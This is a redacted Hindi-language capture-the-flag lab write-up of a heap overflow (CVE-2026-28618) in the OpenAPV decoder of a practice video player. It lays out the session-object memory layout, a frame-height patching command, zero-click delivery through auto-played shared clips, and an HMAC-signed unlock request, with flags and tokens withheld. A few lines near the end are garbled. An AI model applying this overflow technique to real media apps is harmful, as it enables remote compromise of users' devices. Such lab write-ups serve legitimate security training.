
CVE-2026-28618 / StreamBox APV लैब पर संपादित (Redacted) नोट्स — FRAME ऊँचाई बेमेल के माध्यम से सत्र ऑब्जेक्ट में हीप राइट
StreamBox में CVE-2026-28618 — वही डिकोडर क्लास जो इन-द-वाइल्ड Android APV RCE में है, जिसे एक सत्र ऑब्जेक्ट के विरुद्ध हीप राइट में बदला गया है।
यह रेपो एक सार्वजनिक, redacted राइटअप है: फ्लैग्स, इंस्टेंस टोकन, और HMAC की छोड़ दी गई हैं। APK और make_clip.py Mobile Hacking Lab के हैं; इन्हें यहाँ मिरर नहीं किया गया है।

StreamBox एक छोटा APV प्लेयर है। APV का मतलब है Advanced Professional Video (RFC 9924), Samsung का रॉयल्टी-फ्री कोडेक, वही फैमिली जो Android के मीडिया स्टैक में शिप हुई थी। लैब की पिच एक वाक्य में है: प्लेयर साझा किए गए क्लिप्स को आते ही चला देता है।
SEND, VIEW, या streambox://?url=… एक फ़ाइल को files/incoming.apv में पहुँचाता है और NativeDec.loadClip() चलता है। क्लिप पर कोई अतिरिक्त टैप नहीं।
बग है CVE-2026-28618: OpenAPV के dec_frm_prepare में एक हीप बफ़र ओवरफ़्लो। वही क्लास, वही डिकोडर जो CVE-2026-0006 में है, इस साल की शुरुआत में इन-द-वाइल्ड शोषित किया गया ज़ीरो-क्लिक APV RCE।
लैब उस राइट को एक गेम के रूप में पैकेज करती है। हार्डकोडेड 64×64 Y प्लेन को ओवरफ़्लो करें, एक निकटवर्ती सत्र ऑब्जेक्ट को तोड़ें, टियरडाउन को handlers[2] में रीडायरेक्ट करें, और Worker फ्लैग वापस दे देता है।
किट लैब से दो ज़िप्स हैं:
streambox-lab.apk.zip — प्लेयरmake_clip.py.zip — 64×64 लाइब्रेरी क्लिप्स कैसे बनाए गए, और वह बिटस्ट्रीम जिसे आप ओवरफ़्लो करते हैं
PlayerActivity यह करता है:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1) एक आंशिक हिट है (सत्र छुआ गया, टोकन मेल नहीं खाता)। openTier(2) win() है। PremiumActivity नेटिव स्टेट को लैब पर POST करता है:
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
बूट पर ऐप पहले ही POST /api/instance और NativeDec.setPlatinumToken(token) कर चुका होता है। वही टोकन है जिसे ओवरफ़्लो को सत्र में लिखना होता है।

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t हार्डकोडेड 64×64, 10-बिट YUV है। प्लेन 0 (Y) arena+0 से शुरू होता है। 64 × 64 × 2 = 0x2000। pad == 0 के साथ, सत्र Y के बाद पहले बाइट पर बैठता है।
oapvd_decode() FRAME PBU की चौड़ाई/ऊँचाई पर लिखता है। 64 से ऊँचा FRAME 10-बिट सैंपल्स को सीधे session में लिखता है।
डिकोड के बाद:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

लैब का जेनरेटर 64×64 RGB के 32 फ़्रेम बनाता है, उन्हें yuv422p10le में कन्वर्ट करता है, और OpenAPV रेफ़रेंस एनकोडर को शेल आउट करता है:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
हर बंडल किया गया क्लिप FRAME 64×64 के 32 एक्सेस यूनिट्स है:
[u32be au_size] ['aPv1' + PBUs] × 32

प्लेयर अभी भी 64×64 एलोकेट करता है। हर AU के frame_height को 64 → 72 पैच करें:
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
इसे साझा करें (SEND / VIEW / streambox://?url=). ऑटो-प्ले ही एक्सप्लॉइट है।
एक साफ़ ओवरफ़्लो के लिए make_clip.py में H को 72 या 128 करें और री-एनकोड करें ताकि अतिरिक्त Y पंक्तियाँ असली पिक्चर डेटा हों। 64-चौड़े 10-बिट प्लेन की पंक्ति 64 128 बाइट्स है:
OBMAERTS होना बंद हो जाना चाहिए)g_token)2APV लॉसी है; oapv_app_enc के माध्यम से सटीक 10-बिट मानों के लिए QP 0 / नियर-लॉसलेस चाहिए।
पैरेंट बग क्लास के लिए संबंधित सार्वजनिक PoC: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib को Cloudflare 1010 मिलता है। मोबाइल UA के साथ curl काम करता है।
Worker मूल मैजिक को no overflow evidence: session magic intact के साथ अस्वीकार करता है। ASCII STREAMBO (LE uint64 से अलग बाइट्स) एक राइट के रूप में गिना जाता है।

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win() वही है जो प्लेयर तब दिखाता है जब loadClip 2 लौटाता है:

dec_frm_prepareMobile Hacking Lab के StreamBox अभ्यास के लिए अधिकृत लैब नोट्स। कोई APK नहीं, कोई लाइव टोकन नहीं, कोई फ्लैग नहीं। इन प्रिमिटिव्स को किसी ऐसी चीज़ के विरुद्ध न चलाएँ जिसका आप स्वामी न हों या जिसे परखने की अनुमति आपके पास न हो।